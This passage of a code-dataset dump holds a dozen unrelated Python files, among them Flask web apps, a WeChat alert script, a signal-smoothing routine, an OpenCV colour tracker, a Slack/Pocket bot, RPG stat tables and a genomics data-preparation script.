cursoAdicionalEstudanteDelete(curso_id, estudante_id):\n cursoAdicionalEstudante = CursoAdicionalEstudante.query.filter(CursoAdicionalEstudante.curso_id == curso_id, \\\n CursoAdicionalEstudante.estudante_id == estudante_id).first()\n\n if not cursoAdicionalEstudante:\n return jsonify({'message': Messages.REGISTER_NOT_FOUND.format(curso_id + \"/\" + estudante_id),\n 'error': True})\n\n db.session.delete(cursoAdicionalEstudante)\n\n try:\n db.session.commit()\n return jsonify(\n {'message': Messages.REGISTER_SUCCESS_DELETED.format(\"Curso Adicional do Estudante\"), 'error': False})\n except exc.IntegrityError:\n return jsonify({'message': Messages.REGISTER_DELETE_INTEGRITY_ERROR, 'error': True})\n","sub_path":"app/controllers/cursoAdicionalEstudanteController.py","file_name":"cursoAdicionalEstudanteController.py","file_ext":"py","file_size_in_byte":6723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"272299395","text":"#!/bin/env python\n#-*- coding:utf8\nimport urllib\nimport requests\nimport os, sys,logging\n\n#http://127.0.0.1:6543/?message=asdfasdf%3Basdfasdf%0Aeiasjdf%3Baksdjfa%3Bskldfj%0Aasdfeijasd%3Bfkajsdf%0Aeiajs%3Bdflkajeiaspeoifjasdfa%0Aasdfieja%3Bsdkfjas%3Bfiejaieojasdfasdf%0A&group=zabbix%E5%BE%AE%E4%BF%A1%E6%8A%A5%E8%AD%A6%E6%B5%8B%E8%AF%95\n\nurl = 'http://222.92.56.244:7788/send'\nargc = len(sys.argv)\nif argc < 3:\n print(\"Need less 2 argments, %d givened\" % (argc-1))\n sys.exit(-1)\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%a, %d %b %Y %H:%M:%S',\n filename='/tmp/send_wechat.log',\n filemode='a')\n\ngroup = sys.argv[1]\nmessage = sys.argv[2]\npayload = {'group': group, 'message': message}\n\nr = requests.get(url, params=payload)\nif (r.status_code == 200):\n sys.exit(0)\nelse:\n sys.exit(-2)\n\n\"\"\"\n\"\"\"\n","sub_path":"scripts/send_wechat.py","file_name":"send_wechat.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"176162769","text":"\"\"\"\nFile copied from the PWCTools distribution available at\nhttp://www.maxlittle.net/software/pwctools.zip with minor code style\nadjustments.\n\nPorted by Massimo Vassalli [http://mv.nanoscopy.eu massimo.vassalli@gmail.com]\n\"\"\"\nimport numpy as np\nimport scipy.sparse as sparse\n\nfrom smoothing.lpfnm import lp_fnm\n\n\ndef pwc_tvdrobust(y, lamb=10.0, display=True):\n \"\"\"\n Performs robust discrete total variation smoothing (TVD) using interior-\n point linear programming. It minimizes the following discrete functional:\n\n E=||y-x||_1+lambda*||Dx||_1,\n\n over the variable x, given the input signal y, according to the value of\n the regularization parameter lambda >= 0. D is the first difference matrix.\n\n Usage:\n [x, E] = pwc_tvdrobust(y, lambda, display, stoptol, maxiter)\n\n (c) Max Little, 2011. If you use this code for your research, please cite:\n M.A. Little, Nick S. Jones (2011)\n \"Generalized Methods and Solvers for Noise Removal from Piecewise\n Constant Signals: Part II - New Methods\"\n Proceedings of the Royal Society A (in press)\n\n :param y: Original signal to denoise.\n :param lamb: The non-negative regularization parameter.\n :param display: (Optional) Set to 0 to turn off progress display, 1 to turn\n on. If not specifed, defaults to progress display on.\n :param stoptol: (Optional) Precision as determined by duality gap tolerance,\n if not specified, defaults to 1e-5.\n :param maxiter: (Optional) Maximum interior-point iterations, if not\n specified defaults to 60.\n :param full:\n :return: x, E where x is the denoised output signal and E is the objective\n functional at minimum.\n \"\"\"\n y = np.array(y)\n N = len(y)\n\n # Construct sparse operator matrices\n D = sparse.lil_matrix((N, N))\n for i in range(N):\n D[i, i] = 1.0\n if i < N - 1:\n D[i, i + 1] = -1.0\n D[-1, -1] = 0\n\n if display:\n print('Solving for lambda={0}\\nIter# Gap'.format(lamb))\n\n # Set up robust TVD as L1-regression problem\n A = sparse.vstack((sparse.eye(N), -lamb * D), format='lil')\n b = sparse.vstack((y.reshape(N, 1), sparse.lil_matrix((N, 1))),\n format='lil')\n\n # Minimize robust TV functional using interior-point linear programming.\n M = A.shape[0]\n u = np.ones(M)\n a = 0.5 * u\n # Solves a linear program by the interior-point method:\n # x = -lp_fnm(A', -b', A'*a, u, a, stoptol, maxiter, display)';\n x = -lp_fnm(A.transpose(), -b.transpose(), A.transpose() * a, u, a)\n return x\n\n\nif __name__ == \"__main__\":\n y = [1, 1.1, 0.9, 1.1, 0.95, 2.1, 1.95, 2.0, 2.05, 3.11, 2.99, 3.05, 3.0]\n print('Perform test')\n x = pwc_tvdrobust(y)\n print(x)\n","sub_path":"smoothing/pwctvdrobust.py","file_name":"pwctvdrobust.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"58786886","text":"from flask import Blueprint, render_template, request, redirect, url_for, flash\nfrom models.user import User\nfrom flask_login import current_user, login_user, login_required\nfrom werkzeug.utils import secure_filename\nfrom instagram_web.util.helpers import upload_file_to_s3\nfrom models.post import Post\nfrom models.endorsement import Endorsement\n\n\n\nusers_blueprint = Blueprint('users',\n __name__,\n template_folder='templates')\n\n\n@users_blueprint.route('/new', methods=['GET'])\ndef new():\n return render_template('users/new.html')\n\n\n@users_blueprint.route('/', methods=['POST'])\ndef create():\n username=request.form.get('username')\n email = request.form.get('email')\n password = request.form.get('password')\n # hashed_pw = generate_password_hash(password)\n\n create_user = User(username=username, email=email, password=password)\n \n if create_user.save():\n login_user(create_user)\n flash(f\"Successfully created an account\")\n return redirect(url_for('users.show', username=username))\n else:\n return render_template('users/new.html', errors=create_user.errors)\n\n\n@users_blueprint.route('/', methods=[\"GET\"])\n@login_required\ndef show(username):\n user = User.get_or_none(User.username == username)\n # u = User.get_by_id(current_user.id) ## no need to use this\n if user:\n return render_template('users/show.html', user=user)\n else:\n return render_template('404.html')\n # if current_user.is_authenticated:\n # return render_template('users/show.html', username=current_user.username, id=current_user.id)\n # else:\n # flash(f\"Please login to access profile page\")\n # return redirect(url_for('session.new'))\n\n\n@users_blueprint.route('/', methods=[\"GET\"])\ndef index():\n return \"USERS\"\n\n\n@users_blueprint.route('//edit', methods=['GET'])\ndef edit(id):\n if current_user.is_authenticated:\n return render_template('users/edit.html', id=id, username=current_user.username, email=current_user.email, profile_image_url=current_user.profile_image_url)\n else:\n flash(f\"Access not allowed, please login\")\n return redirect(url_for('session.new'))\n\n\n@users_blueprint.route('/', methods=['POST'])\ndef update(id):\n user = User.get_by_id(id)\n\n username_update = request.form.get('username_update')\n email_update = request.form.get('email_update')\n # breakpoint()\n if current_user == user:\n update_user = (User\n .update(username=username_update,\n email=email_update)\n .where(User.id == user.id))\n update_user.execute()\n\n flash(f\"Updated successfully\")\n return redirect(url_for('users.show', username=current_user.username))\n else:\n flash(f\"Unauthorized to perform this action. Login to continue\")\n return redirect(url_for('session.new'))\n\n\n# @users_blueprint.route('/upload', methods=['POST'])\n# def upload(id):\n# if profile_img_file not in request.files:\n# return \"No profile_img_file key in request.files\"\n\n# file = request.files[\"profile_img_file\"]\n\n# if file.filename == \"\":\n# return 'Please select a file'\n\n# if file and allowed_file(file.filename):\n# file.filename = secure_filename(file.filename)\n# output = upload_file_to_s3(file, app.config.Config[\"S3_BUCKET\"])\n# return str(output)\n\n# else:\n# flash(f\"Could not upload the file to the database\")\n# return redirect(url_for('home'))","sub_path":"instagram_web/blueprints/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"600266687","text":"__author__ = 'Yaacov'\n\nimport tkinter as tk\nimport tkinter.ttk as ttk\nimport verbose as v\n\n\nclass MoveFrame(tk.Frame):\n def __init__(self, parent, combat, guy):\n tk.Frame.__init__(self,parent)\n self.parent = parent\n self.combat = combat\n self.combatant = guy\n self.pace = tk.StringVar()\n self.pace_list = self.combat.possible_paces\n self.initialize()\n\n def initialize(self):\n self.grid()\n r = 0\n self.choose_pace_label = ttk.Label(self, text=\"Choose Pace: \")\n self.choose_pace_label.grid(row=r, column=0, sticky=tk.W)\n self.choose_pace_entry = ttk.OptionMenu(self, self.pace, self.pace.get(), *self.pace_list )\n self.choose_pace_entry.grid(row=r, column=1, sticky=tk.W)","sub_path":"moveframe.py","file_name":"moveframe.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"473696556","text":"import cv2\r\nimport numpy as np\r\n\r\n#Object Tracking by Color\r\n\r\ndef main():\r\n \r\n cap = cv2.VideoCapture(0)\r\n \r\n if cap.isOpened():\r\n ret,frame=cap.read()\r\n else:\r\n ret=False\r\n \r\n while ret:\r\n ret,frame=cap.read()\r\n #HSV==HUE SATURATION VALID\r\n hsv=cv2.cvtColor(frame,cv2.COLOR_BGR2HSV)\r\n \r\n #Blue Color(All Shades are covered)\r\n low=np.array([100,50,50])\r\n high=np.array([140,255,255])\r\n \r\n #Green Color\r\n #low=np.array([50,100,50])\r\n #high=np.array([255,140,255])\r\n \r\n #Red Color\r\n #low=np.array([50,50,100])\r\n #high=np.array([255,255,140])\r\n \r\n\r\n image_mask=cv2.inRange(hsv,low,high) \r\n \r\n output=cv2.bitwise_and(frame,frame,mask=image_mask)\r\n \r\n cv2.imshow(\"Image Mask\",image_mask)\r\n # print(image_mask)\r\n cv2.imshow(\"Original Webcam Feed\",frame)\r\n cv2.imshow(\"Color Tracking\",output)\r\n if cv2.waitKey(1)==27: \r\n break\r\n \r\n \r\n cap.release()\r\n \r\n cv2.destroyAllWindows()\r\n \r\n \r\nif __name__==\"__main__\":\r\n main()\r\n \r\n \r\n \r\n ","sub_path":"OpenCV Object Tracking-by-Color.py","file_name":"OpenCV Object Tracking-by-Color.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"290149464","text":"from task import *\nfrom nbgm import NBGMDevice\n\nclass TaskProducer(Thread):\n\n '''TaskProducer thread is responsible for reading tasks from a log file and\nputting them into the queue continually.\n This class uses a reader to parse files.\n '''\n def __init__(self, task_reader, task_queue, tname = 'TaskProducer'):\n assert(task_reader is not None and task_queue is not None)\n Thread.__init__(self, name = tname)\n self.__task_reader = task_reader\n self.__task_queue = task_queue\n self.__stop_flag = False\n\n def stop(self):\n self.__task_reader.stop()\n self.__stop_flag = True\n\n def run(self):\n self.__stop_flag = False\n self.__task_reader.reset()\n if not self.__task_reader.initialize():\n logging.error('TaskProducer initialize failed!')\n return\n logging.info('Thread started...')\n while self.__task_reader.hasMore() and not self.__stop_flag:\n tasks = self.__task_reader.readTasks()\n for task in tasks:\n again = True\n while again and not self.__stop_flag:\n try:\n self.__task_queue.put(task, False, 0.1)\n except Exception:\n again = True\n else:\n again = False\n if not self.__task_reader.deinitialize():\n logging.error('TaskProducer deinitialize failed!')\n return\n logging.info('Thread exited...')\n\n\nclass TaskConsumer(Thread):\n\n '''TaskConsumer thread is responsible for picking a task form the queue continually.\nAfter that, TaskConsumer will excute the task by some scheduling policy, which is specified by the dealer.\n This thread can be paused, stopped and restarted.\n '''\n def __init__(self, task_dealer, task_queue, tname = 'TaskConsumer'):\n assert(task_dealer is not None and task_queue is not None)\n Thread.__init__(self, name = tname)\n self.__task_dealer = task_dealer\n self.__task_queue = task_queue\n self.__stop_flag = False\n\n def stop(self): \n self.__stop_flag = True\n self.__task_queue.queue.clear()\n self.__task_queue.put(Task.genTerminator())\n self.__task_dealer.stop()\n\n def pause(self, pause_flag):\n self.__task_dealer.pause(pause_flag)\n\n def run(self):\n self.__stop_flag = False\n self.__task_dealer.reset()\n if not self.__task_dealer.initialize():\n logging.error('TaskConsumer initialize failed!')\n return\n logging.info('Thread started...')\n while not self.__stop_flag:\n task = self.__task_queue.get()\n if task.isTerminator():\n self.__task_queue.task_done()\n break\n self.__task_dealer.scheduleTasks(task)\n self.__task_queue.task_done()\n if not self.__task_dealer.deinitialize():\n logging.error('TaskConsumer deinitialize failed!')\n return\n logging.info('Thread exited...')\n\nclass TaskApp:\n\n '''The TaskApp class is the base for creating task replay applications.\nThink of it as your main entry point into the run loop.\n In most cases, you create an instance of this class and then call the build method,\nwhen you are ready to start the application's lifecycle, you call your instance's run method.\n '''\n version = 1.0\n\n def __init__(self, device, task_reader, task_runner):\n assert(task_reader and task_runner and device )\n self.__queue = Queue(4096)\n self.__task_reader = task_reader\n self.__task_dealer = task_runner\n self.__producer = None\n self.__consumer = None\n self.__device = device\n self.__pause_flag = False\n\n def pause(self):\n '''Pause or resume the replay\n '''\n self.__pause_flag = not self.__pause_flag\n self.__consumer.pause(self.__pause_flag)\n if self.__pause_flag:\n logging.info('Replay paused..')\n else:\n logging.info('Repaly resumed...')\n\n\n def stop(self):\n '''Stop the replay\n '''\n pass\n\n\n def restart(self):\n '''Restart the repaly\n '''\n pass\n\n def run(self):\n logging.info('App started...')\n # create device\n logging.info('Device created...')\n success = self.__device.create()\n if not success:\n logging.error('Device create failed! App exited...')\n return\n\n self.__producer = TaskProducer(self.__task_reader, self.__queue)\n self.__consumer = TaskConsumer(self.__task_dealer, self.__queue)\n self.__producer.start()\n self.__consumer.start()\n\n # register key events\n self.__device.registerKeyEvent('p', self.pause)\n self.__device.registerKeyEvent('s', self.stop)\n self.__device.registerKeyEvent('r', self.restart)\n\n # start the mainloop\n self.__device.startMainLoop()\n self.__producer.stop()\n self.__consumer.stop()\n self.__producer.join()\n self.__consumer.join()\n\n # destroy device\n logging.info('Device destroyed...')\n self.__device.destroy()\n logging.info('App exited...')","sub_path":"common/c/nbgm/nbgmreplayer/version2/library/taskapp.py","file_name":"taskapp.py","file_ext":"py","file_size_in_byte":5299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"456754047","text":"# Copyright 2013-2022 Lawrence Livermore National Security, LLC and other\n# Spack Project Developers. See the top-level COPYRIGHT file for details.\n#\n# SPDX-License-Identifier: (Apache-2.0 OR MIT)\n\nfrom spack.package import *\n\n\nclass Ncview(AutotoolsPackage):\n \"\"\"Simple viewer for NetCDF files.\"\"\"\n\n homepage = \"https://cirrus.ucsd.edu/ncview/\"\n url = \"ftp://cirrus.ucsd.edu/pub/ncview/ncview-2.1.7.tar.gz\"\n\n version(\"2.1.8\", sha256=\"e8badc507b9b774801288d1c2d59eb79ab31b004df4858d0674ed0d87dfc91be\")\n version(\"2.1.7\", sha256=\"a14c2dddac0fc78dad9e4e7e35e2119562589738f4ded55ff6e0eca04d682c82\")\n\n depends_on(\"netcdf-c\")\n depends_on(\"udunits\")\n depends_on(\"libpng\")\n depends_on(\"libxaw\")\n\n def configure_args(self):\n spec = self.spec\n\n config_args = []\n\n if spec.satisfies(\"^netcdf-c+mpi\"):\n config_args.append(\"CC={0}\".format(spec[\"mpi\"].mpicc))\n\n return config_args\n","sub_path":"var/spack/repos/builtin/packages/ncview/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"568598026","text":"# coding: utf-8\n\nfrom slacker import Slacker\nimport slackbot_settings\nfrom slackbot.bot import Bot, listen_to, default_reply\nimport logging\nimport os\nimport requests\nimport json\nimport random\nfrom threading import Thread\nfrom datetime import datetime, timedelta\nfrom sched import scheduler\nimport time\n\nGET_API_URL = \"https://getpocket.com/v3/get\"\nSEND_API_URL = \"https://getpocket.com/v3/send\"\nHEADERS = {\n 'content-type': \"application/json;charset = UTF8\",\n 'x-accept': \"application/json\",\n 'cache-control': \"no-cache\"\n}\n\n\n@listen_to('hello')\ndef listen_func(message):\n message.reply('Hello, I\\'m pocketer.')\n\n\n@listen_to('help')\ndef listen_func(message=None):\n message.reply('hello / pick / delete / help')\n\n\n@listen_to('pick')\ndef pick_up(message):\n \"\"\"\n 記事を一つ選択して送信する関数\n \"\"\"\n try:\n payload = {\n \"consumer_key\": slackbot_settings.CONSUMER_KEY,\n \"access_token\": slackbot_settings.ACCESS_TOKEN,\n \"tag\": [\n \"amazon_dash_button\",\n \"tool\",\n \"twitter\"\n ],\n \"sort\": \"oldest\",\n \"count\": 250\n }\n res = requests.request(\"POST\", GET_API_URL, data=json.dumps(payload), headers=HEADERS)\n res.raise_for_status()\n res_json = res.json()\n items = list(res_json['list'].keys())\n item_id = random.choice(items)\n message.reply(\"%s (%s)\" % (res_json['list'][item_id]['resolved_title'], res_json['list'][item_id]['resolved_url']))\n except:\n message.reply(\"Failed...\")\n\n\n@listen_to('delete')\ndef del_tag(message):\n \"\"\"\n Twitterタグを含む複数タグが付与された記事からTwitterタグを削除する関数\n \"\"\"\n try:\n payload = {\n \"consumer_key\": slackbot_settings.CONSUMER_KEY,\n \"access_token\": slackbot_settings.ACCESS_TOKEN,\n \"tag\": \"twitter\",\n \"detailType\": \"complete\",\n \"count\": 5000\n }\n res = requests.request(\"POST\", GET_API_URL, data=json.dumps(payload), headers=HEADERS)\n res.raise_for_status()\n res_json = res.json()\n actions = []\n for item_id in res_json['list'].keys():\n if len(res_json['list'][item_id]['tags']) >= 2:\n action = {\n \"action\": \"tags_remove\",\n \"item_id\": item_id,\n \"tags\": \"twitter\"\n }\n actions.append(action)\n if len(actions) > 0:\n payload = {\n \"consumer_key\": slackbot_settings.CONSUMER_KEY,\n \"access_token\": slackbot_settings.ACCESS_TOKEN,\n \"actions\": actions\n }\n res = requests.request(\"POST\", SEND_API_URL, data=json.dumps(payload), headers=HEADERS)\n res.raise_for_status()\n message.reply(\"Success!!\")\n except:\n message.reply(\"Failed...\")\n\n\nclass PickUpArticlePerDay(object):\n def __init__(self):\n self.scheduler = scheduler(time.time, time.sleep)\n self.interval = timedelta(days=1)\n self.slack = Slacker(slackbot_settings.API_TOKEN)\n\n\n def pick_up_per_day(self):\n \"\"\"\n 指定時間に動作する関数\n \"\"\"\n payload = {\n \"consumer_key\": slackbot_settings.CONSUMER_KEY,\n \"access_token\": slackbot_settings.ACCESS_TOKEN,\n \"tag\": [\n \"amazon_dash_button\",\n \"tool\",\n \"twitter\"\n ],\n \"sort\": \"oldest\",\n \"count\": 2500\n }\n res = requests.request(\"POST\", GET_API_URL, data=json.dumps(payload), headers=HEADERS)\n res_json = res.json()\n item_id = random.choice(list(res_json['list'].keys()))\n self.slack.chat.post_message(\n 'pocket',\n \"%s (%s)\" % (res_json['list'][item_id]['resolved_title'], res_json['list'][item_id]['resolved_url']),\n as_user=True\n )\n self.scheduler.enter(self.interval.total_seconds(), 1, self.pick_up_per_day)\n\n\n def specified_time(self):\n \"\"\"\n スケジューラーに予定を登録し実行する。\n \"\"\"\n now = datetime.now()\n run = now.replace(hour=1, minute=00, second=00, microsecond=0)\n if now > run:\n run += timedelta(days=1)\n pass\n logger.info(f\"実行予定時刻:{run}\")\n self.scheduler.enterabs(run.timestamp(), 1, self.pick_up_per_day)\n self.scheduler.run()\n\n\ndef main():\n pickUpArticlePerDay = PickUpArticlePerDay()\n t = Thread(target=pickUpArticlePerDay.specified_time)\n t.start()\n bot = Bot()\n bot.run()\n\n\nif __name__ == \"__main__\":\n loglevel = os.getenv(\"LOG_LEVEL\", \"WARNING\")\n num_level = getattr(logging, loglevel.upper(),None)\n if not isinstance(num_level, int):\n raise ValueError('Invalid log level: %s' % loglevel)\n logging.basicConfig(level=num_level,\n format='%(asctime)s- %(name)s - %(levelname)s - %(message)s')\n slack = Slacker(slackbot_settings.API_TOKEN)\n slack.chat.post_message(\n 'pocket',\n 'Hello, I\\'m pocketer.',\n as_user=True\n )\n logger = logging.getLogger(__name__)\n logger.info('start slackbot')\n if slackbot_settings.API_TOKEN == '':\n logger.info('API_TOKEN is Empty.')\n if slackbot_settings.CONSUMER_KEY == '':\n logger.info('CONSUMER_KEY is Empty.')\n if slackbot_settings.ACCESS_TOKEN == '':\n logger.info('ACCESS_TOKEN is Empty.')\n main()\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"447843205","text":"from model.items_weapons import WEAPONS\r\nfrom time import time\r\n\r\n__ALL__ = ('EQUIPMENT_SLOTS', 'INVENTORY_SLOTS', 'DEFAULT_PLAYER_STATS',\r\n 'CLASS_STATS_MODIFIER_DICT')\r\n\r\nEQUIPMENT_SLOTS = {\n\t'head': '',\n\t'chest': '',\n\t'arms': '',\n\t'l_wrist': '',\n\t'r_wrist': '',\n\t'hands': '',\n\t'legs': '',\n\t'feet': '',\n\t'face': '',\n\t'neck': '',\n\t'l_ring': '',\n\t'r_ring': '',\n\t'primary': WEAPONS['Barehand'],\n\t'secondary': WEAPONS['Barehand'],\n\t'ranged': '',\n\t'ammo': ''\n\t}\n\nINVENTORY_SLOTS = {\n\t'inv_slot_1': '',\n\t'inv_slot_2': '',\n\t'inv_slot_3': '',\n\t'inv_slot_4': '',\n\t'inv_slot_5': '',\n\t'inv_slot_6': '',\n\t'inv_slot_7': '',\n\t'inv_slot_8': ''\n\t}\n\nDEFAULT_PLAYER_STATS = {\n\t'level': 1,\n\t'health': 50,\n\t'stamina': 50,\n\t'mana': 50,\n\t'avoidance': 100,\n\t'mitigation': 100,\n\t'accuracy': 350,\n\t'attack': 200,\n\t'critical': 0,\n\t'haste': 0,\n\t'primStats': (),\r\n\t'primDelay': time(),\n\t'secStats': (),\r\n\t'secDelay': time(),\n\t'rngStats': (),\r\n\t'rngDelay': time(),\n\t'proc1': '',\n\t'proc2': '',\n\t'proc3': '',\n\t'debuff': 0,\n\t'zone': 'tutorial',\n\t'locX': 0,\n\t'locY': 0,\n\t'agro': 0\n\t}\n\nCLASS_STATS_MODIFIER_DICT = {\n\t'Admin': {\n\t\t'health': 10000 - DEFAULT_PLAYER_STATS['health'],\n\t\t'stamina': 10000 - DEFAULT_PLAYER_STATS['stamina'],\n\t\t'mana': 10000 - DEFAULT_PLAYER_STATS['mana'],\n\t\t'avoidance': 1000 - DEFAULT_PLAYER_STATS['avoidance'],\n\t\t'mitigation': 1000 - DEFAULT_PLAYER_STATS['mitigation'],\n\t\t'accuracy': 1000 - DEFAULT_PLAYER_STATS['accuracy'],\n\t\t'attack': 5000 - DEFAULT_PLAYER_STATS['attack'],\n\t\t'critical': 1000 - DEFAULT_PLAYER_STATS['critical']\n\t\t},\n\n\t'testBase': {},\n\n\t'testMin': {\n\t\t'health': -15,\n\t\t'stamina': -15,\n\t\t'mana': -50,\n\t\t'avoidance': -25,\n\t\t'mitigation': -35,\n\t\t'accuracy': -200,\n\t\t'attack': -100,\n\t\t},\n\n\t'testMax': {\n\t\t'health': +25,\n\t\t'stamina': +10,\n\t\t'mana': +25,\n\t\t'avoidance': +100,\n\t\t'mitigation': +25,\n\t\t'accuracy': +75,\n\t\t'attack': +100,\n\t\t'critical': +75\n\t\t},\n\n\t'Warrior': {\n\t\t'health': +25,\n\t\t'stamina': +10,\n\t\t'mana': -50,\n\t\t'avoidance': -25,\n\t\t'mitigation': +25\n\t\t},\n\n\t'Rogue': {\n\t\t'health': -10,\n\t\t'stamina': +5,\n\t\t'mana': -50,\n\t\t'avoidance': +25,\n\t\t'mitigation': -20,\n\t\t'accuracy': +75,\n\t\t'attack': +50,\n\t\t'critical': +75\n\t\t},\n\n\t'Monk': {\n\t\t'health': +10,\n\t\t'stamina': +10,\n\t\t'mana': -50,\n\t\t'avoidance': +100,\n\t\t'mitigation': -30,\n\t\t'accuracy': +50,\n\t\t'attack': +100,\n\t\t'critical': +50\n\t\t},\n\n\t'Ranger': {\n\t\t'health': +5,\n\t\t'stamina': +5,\n\t\t'mana': -10,\n\t\t'accuracy': +50,\n\t\t'attack': +25,\n\t\t'critical': +45\n\t\t},\n\n\t'Paladin': {\n\t\t'health': +15,\n\t\t'stamina': +5,\n\t\t'mana': -10,\n\t\t'avoidance': -5,\n\t\t'mitigation': +25,\n\t\t'accuracy': -35,\n\t\t'attack': +35\n\t\t},\n\n\t'Shadow Knight': {\n\t\t'health': +15,\n\t\t'stamina': +5,\n\t\t'mana': -10,\n\t\t'avoidance': -10,\n\t\t'mitigation': +20,\n\t\t'accuracy': -40,\n\t\t'attack': +50\n\t\t},\n\n\t'Cleric': {\n\t\t'health': +15,\n\t\t'stamina': -10,\n\t\t'mana': +15,\n\t\t'avoidance': -15,\n\t\t'mitigation': +10,\n\t\t'accuracy': -100,\n\t\t'attack': -50\n\t\t},\n\n\t'Wizard': {\n\t\t'health': -15,\n\t\t'stamina': -15,\n\t\t'mana': +25,\n\t\t'avoidance': +50,\n\t\t'mitigation': -35,\n\t\t'accuracy': -200,\n\t\t'attack': -100\n\t\t},\n\n\t'Necromancer': {\n\t\t'health': -15,\n\t\t'stamina': -15,\n\t\t'mana': +25,\n\t\t'avoidance': +40,\n\t\t'mitigation': -25,\n\t\t'accuracy': -100,\n\t\t'attack': -25\n\t\t}\n\t}\n","sub_path":"model/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":3173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"571940777","text":"num_tuple = (10, 20)\nprint(num_tuple)\n\nx, y = num_tuple #xとyに数字が入る 10 20\nprint(x, y)\n#↓と同じ\nx, y = (10, 20)#()なしでも同じ\nprint(x, y)\n#tupleで展開されてる xに10が入る yに20が入る\n\n#長いと読みにくくなると読みづらい 2〜3位\nmin, max = 0, 100\nprint(min, max)\n\n#置き換える \ni = 10\nj = 20\n\n#置き換えに3行かかる\ntmp = i\ni = j\nj = tmp\nprint(i, j)\n\n#tupleアンパッキングで置き換えを行う\na = 100\nb = 200\nprint(a, b)\na, b = b, a # aにb入れる bにaを入れる\nprint(a, b)\n","sub_path":"data_structure/tuple_unpakking.py","file_name":"tuple_unpakking.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"297356665","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/env python\n# author: bambooom\n'''\nMyDiary Web Application\nOpen web browser and access http://localhost:8255/mydiary\nYou can read the old diary and input new diary\n'''\n\nfrom bottle import request, route, run, template\nfrom time import localtime, strftime\n\ndef read_diary():\n\tf = open('diary log.txt','a+')\n\treturn f.read()\n\ndef write_diary(newdiary):\n\tf = open('diary log.txt','a+')\n\tedit_time = strftime(\"%Y %b %d %H:%M:%S\", localtime())\n\tf.write('%s %s\\n' % (edit_time, newdiary))\n\tf.close()\n\n@route('/mydiary')\ndef start():\n\tlog = read_diary()\n\treturn template(\"diaryweb\", diarylog=log)\n\n@route('/mydiary', method='POST')\ndef input_new():\n\tnewdiary = request.forms.get('newdiary')\n\twrite_diary(newdiary)\n\tlog = read_diary()\n\treturn template(\"diaryweb\", diarylog=log)\n\n\nif __name__ == '__main__':\n\trun(host='localhost', port=8255, debug=True, reloader=True)\n\t\n","sub_path":"_src/om2py4w/4wex0/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"269522979","text":"\"\"\"\nepimark的training data一定是singel class.\nConvert the raw sequence and the lables to hdf5 data/arrays for faster batch reading.\nSplit data into training, test and validation set. Save training and test set in same file.\nWill store a .h5 file with the labels and sequences and a coord file per test/valid and train set\n\"\"\"\n# from __future__ import absolute_import\n# from __future__ import division\n# from __future__ import print_function\n\nimport numpy as np\nimport h5py\nimport argparse\nfrom operator import itemgetter\n\n# Define arguments -------------------------------------------------------------\nparser = argparse.ArgumentParser(\n description=\"\"\"Take a raw sequence and a labels bed like file and encode and store\n both as numpy arrays. Split up into traiing, test and validation samples.\"\"\")\nparser.add_argument('--data_prefix', type=str,\n help='Cell type to indicate multiple column file data. [